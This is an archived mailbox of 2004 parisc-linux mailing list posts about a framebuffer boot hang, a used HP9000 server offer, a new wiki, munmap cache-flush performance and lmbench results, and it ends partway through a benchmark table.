List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22051

Am Sonntag, 3. Oktober 2004 00:03 schrieb Stuart Brady:
> On Fri, Sep 24, 2004 at 03:33:15PM +0200, Johannes Raspe wrote:
> > I tried the "official" 2.6.8 Debian-image and 2.6.8.1-pa11-image but none
> > worked.
> > After booting, the message "if this is the last..." about graphic and
> > serial-console is printed and after that (I suppose when the kernel tries
> > to initialize the framebuffer) the screen turns blue, no HDD-activity
> > anymore, the system hangs.
> > As far as I can see no other messages.
> > With 2.4.27-pa4 everything is fine.
>
> [snip]
>
> I have no idea how stifb works, but perhaps this is the same problem:
>
> http://lists.parisc-linux.org/pipermail/parisc-linux/2004-March/022600.html
>
> Does passing "stifb=bpp:8" on the palo command-line make any difference?
> Perhaps the 32 bpp code is broken?  I can't find any other dmesgs posted
> to the list with stifb using 32 bpp...

Hi,

I tried "video=stifb:bpp:8", "stifb=bpp:8", "video=stifb:bpp:32", 
"stifb=bpp:32" with kernels 2.6.4, 2.6.8.1-pa11 and the current 2.6.9-pa 
kernel, all with the same result as before. It does not seem to be the same 
problem mentioned in the posting above, because I could never get a 
2.6.x-kernel running on my machine.

Johannes

-- 
Johannes Raspe - j.raspe@t-online.de
GnuPG-Key ID: D342E105
Fingerprint: D681 F800 FB2D 913E D14C 1F17 C3DB B1F1 D342 E105
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ard van Breemen <ard@kwaak.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] D250/512MB+2 FWDSCSI disk cabinets (holland)
Date: Tue, 5 Oct 2004 01:32:01 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <20041004233201.GA3483@kwaak.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623576 11234 80.91.229.3 (22 Nov 2014 02:32:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 15569 invoked by uid 65534); 4 Oct 2004 23:34:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx011) with SMTP; 05 Oct 2004 01:34:08 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4A3AD3BDFD; Mon,  4 Oct 2004 17:33:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08342-09; Mon, 4 Oct 2004 17:33:51 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9178D3BE16; Mon,  4 Oct 2004 17:33:17 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DE9C53BDFF
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Oct 2004 17:33:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 08342-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Oct 2004 17:33:03 -0600 (MDT)
Original-Received: from mail.kwaak.net (a62-216-22-210.adsl.cistron.nl [62.216.22.210])
	by free.linux.hp.com (Postfix) with ESMTP id 5C3623BDFD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Oct 2004 17:33:03 -0600 (MDT)
Original-Received: from [2001:7b8:32d:0:20c:6eff:feb9:21cc] (helo=asus1.kwaak.net)
	by mail.kwaak.net with esmtp (Exim 3.36 #1 (Debian))
	id 1CEcJG-0003dK-00 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 05 Oct 2004 01:32:02 +0200
Original-Received: from ard by asus1.kwaak.net with local (Exim 3.36 #1 (Debian))
	id 1CEcJF-0000uS-00 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 05 Oct 2004 01:32:01 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22052

Sigh,
My energy bill is too high :-(
Nice D250 class hp9000 seeks new budy to have lots of fun.
Comes with working debian pre-installed.
Packages contains:
- hp-9000 D250 tower with single CPU, 512MB, 3xHSC FWDSCSI,
  1x100MBit EISA ethernet, and some weird comm card.
- 2xDisk cabinet (FWD): 4x2gig+1x3gig per cabinet
- big (non-functional) ups (batteries are ok I guess)
- extra battery pack (batteries are also ok I guess)

Comes as 1 package, you have to pick it up yourself. (Yes, also
the ups, I want to get rid of it).
It is excluding the 19" rack, unless you give me a 19" rack as a
replacement.
Place: purmerend in the Netherlands (near Amsterdam), at 1fst
floor.
Again: you have to carry it yourself, I've got back problems...

For more info: just mail me personally...
I don't know if I am still subscribed to the list. When I phased
out the hp9000 in favor of a server that consumes 20% of the hp,
I also found out what the difference is: the hp9000 doesn't die.
The hard-disk of the new server b0rked on me when it got to
handle the mail the hp9000 was "easily" handling.

The system consumes 440W continuosly, that's 132 per disk cabinet
and 180W nominal for the D250. (Peaking at 195W with memory
intensive stuff)
I've also some other goodies that I want to drop in if it makes
you take good care of the hp9000.
(some 4Gig UW disks f.i.)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New PALinux wiki available
Date: Wed, 6 Oct 2004 01:36:48 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20041006013648.6d9ae5c1.T-Bone@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623577 11236 80.91.229.3 (22 Nov 2014 02:32:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12116 invoked by uid 65534); 5 Oct 2004 23:37:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx047) with SMTP; 06 Oct 2004 01:37:45 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AB3E83BD31; Tue,  5 Oct 2004 17:37:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19542-10; Tue, 5 Oct 2004 17:37:34 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5B7C93BDCE; Tue,  5 Oct 2004 17:36:56 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AA80D3BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Oct 2004 17:36:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 19542-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Oct 2004 17:36:50 -0600 (MDT)
Original-Received: from postfix4-1.free.fr (postfix4-1.free.fr [213.228.0.62])
	by free.linux.hp.com (Postfix) with ESMTP id 3E5603BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Oct 2004 17:36:50 -0600 (MDT)
Original-Received: from bibou (xbadbear.esiee.info [81.56.249.214])
	by postfix4-1.free.fr (Postfix) with SMTP id 1885814D1CF
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Oct 2004 01:36:47 +0200 (CEST)
X-Mailer: Sylpheed version 0.9.12 (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22053

Fellow pa-ckers,

Thanks to the efforts of Randolph, a brand new PA-RISC/Linux wiki is
available for reading and contributing at:

http://wiki.parisc-linux.org/

Please mind that it is still experimental, though, so it might change a
little and experience minor troubles. Bugs might be reported to
Randolph/myself.

Enjoy,


Thibaut VARENE
The PA/Linux ESIEE Team
http://www.pateam.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Improving performance of munmap
Date: Thu, 7 Oct 2004 22:03:43 -0400
Lines: 45
Approved: news@gmane.org
Message-ID: <20041008020343.GN24430@baldric.uwo.ca>
References: <20041007230232.GF14151@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623577 11239 80.91.229.3 (22 Nov 2014 02:32:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 418 invoked by uid 65534); 8 Oct 2004 02:05:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx053) with SMTP; 08 Oct 2004 04:05:06 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 785123BC80; Thu,  7 Oct 2004 20:04:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14101-01; Thu, 7 Oct 2004 20:04:26 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2DEBC3BDCE; Thu,  7 Oct 2004 20:03:56 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EC0BE3BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Oct 2004 20:03:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13412-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 7 Oct 2004 20:03:48 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 938543BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Oct 2004 20:03:47 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1CFk6i-0006yX-00; Thu, 07 Oct 2004 22:03:44 -0400
Content-Disposition: inline
In-Reply-To: <20041007230232.GF14151@tausq.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (13% Sync Ratio [=.........])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22054

On Thu, Oct 07, 2004 at 04:02:32PM -0700, Randolph Chung wrote:
> Hi all,
> 
> On a 2.6 SMP kernel, munmap()ing 16MB currently takes on the order of
> 0.8-0.9 seconds on a 440MHz machine. on a UP machine it takes about 5ms.
> 
> profiling shows that we are spending a lot of time flushing caches:
> 
> tausq@ios:~/parisc/linux-2.6$ sort -nr -k3 ~/test/mmap/after |head
>  48586 cpu_idle                                 759.1562
>  37906 machine_restart                          592.2812
>  10951 flush_user_icache_range_asm              304.1944
>  10946 flush_user_dcache_range_asm              304.0556
>    129 flush_kernel_icache_page                   1.2900
>     29 _spin_unlock_bh                            0.6042
>      9 fdsync                                     0.4500
>     10 _spin_unlock_irq                           0.4167
> 
> i believe this is related to the way we implement flush_tlb_mm(). on SMP
> we currently flush the entire tlb, instead of just invaliding the
> process context. this is needed to get the correct behavior if a
> multithreaded app is simultaneously running on >1 CPUs. James had
> suggested previously that we might be able to do something smarter, such
> as sending an ipi to the other CPU to switch the context. 
> 
> would anybody like to look into this problem, or suggest some ways to
> tackle this?

Is munmap() speed really a big issue? Does userland see the benefits of
a faster flush_tlb_mm()?

Perhaps if you call dlclose() *a lot* you might notice.

Or if you create and destroy threads really quickly.

Aside from that, who else in userspace is a big munmap caller?

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Improving performance of munmap
Date: Thu, 7 Oct 2004 21:16:57 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <20041008041657.GG14151@tausq.org>
References: <20041007230232.GF14151@tausq.org>
	<20041008020343.GN24430@baldric.uwo.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623577 11245 80.91.229.3 (22 Nov 2014 02:32:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 13579 invoked by uid 65534); 8 Oct 2004 04:17:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx012) with SMTP; 08 Oct 2004 06:17:40 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E098B3BDD6; Thu,  7 Oct 2004 22:17:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14101-10; Thu, 7 Oct 2004 22:17:27 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8DCA33BDCE; Thu,  7 Oct 2004 22:17:01 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C10A13BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Oct 2004 22:16:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14101-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 7 Oct 2004 22:16:53 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 652D43BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Oct 2004 22:16:53 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 79A2ECD2D3; Thu,  7 Oct 2004 21:16:57 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20041008020343.GN24430@baldric.uwo.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22055

> Is munmap() speed really a big issue? Does userland see the benefits of
> a faster flush_tlb_mm()?

actually i was wrong, the problem is not with flush_tlb_mm(), but with
flush_user_{dcache,icache}_range.

> Perhaps if you call dlclose() *a lot* you might notice.
> 
> Or if you create and destroy threads really quickly.
> 
> Aside from that, who else in userspace is a big munmap caller?

lots of apps use mmap a lot..... but even if they don't, 0.9 seconds is
a very long time to make somebody wait.

i made some changes to the flush_user_{dcache,icache}_range
implementation and it seems to be better now. will post the patch
tomorrow after some cleanups.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] lmbench results for A500-44 SMP
Date: Thu, 7 Oct 2004 21:18:50 -0700
Lines: 78
Approved: news@gmane.org
Message-ID: <20041008041849.GH14151@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623578 11248 80.91.229.3 (22 Nov 2014 02:32:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22751 invoked by uid 65534); 8 Oct 2004 04:19:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx032) with SMTP; 08 Oct 2004 06:19:03 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A91223BDFF; Thu,  7 Oct 2004 22:19:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15428-02; Thu, 7 Oct 2004 22:19:00 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B88F13BDF2; Thu,  7 Oct 2004 22:18:51 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8CB823BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Oct 2004 22:18:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15120-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 7 Oct 2004 22:18:45 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 124563BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Oct 2004 22:18:45 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 146C4CD28A; Thu,  7 Oct 2004 21:18:50 -0700 (PDT)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22056

First entry is for 2.4.20-pa24 SMP
Second entry is for 2.6.9-rc3-pa3 SMP, with a cache flushing patch

Machine is a 440MHz a500 with 5GB of RAM.

In general our performance seems to have dropped a bit :(

randolph

                 L M B E N C H  2 . 0   S U M M A R Y
                 ------------------------------------


Basic system parameters
----------------------------------------------------
Host                 OS Description              Mhz
                                                    
--------- ------------- ----------------------- ----
ios       Linux 2.4.20-        hppa64-linux-gnu  440
ios       Linux 2.6.9-r        hppa64-linux-gnu  440

Processor, Processes - times in microseconds - smaller is better
----------------------------------------------------------------
Host                 OS  Mhz null null      open selct sig  sig  fork exec sh  
                             call  I/O stat clos TCP   inst hndl proc proc proc
--------- ------------- ---- ---- ---- ---- ---- ----- ---- ---- ---- ---- ----
ios       Linux 2.4.20-  440 0.73 1.85 10.2 11.8 110.8 2.17 16.9 17.K 41.K 85.K
ios       Linux 2.6.9-r  440 0.77 1.19 13.2 15.4  71.4 2.23 11.1 2590 10.K 33.K

Context switching - times in microseconds - smaller is better
-------------------------------------------------------------
Host                 OS 2p/0K 2p/16K 2p/64K 8p/16K 8p/64K 16p/16K 16p/64K
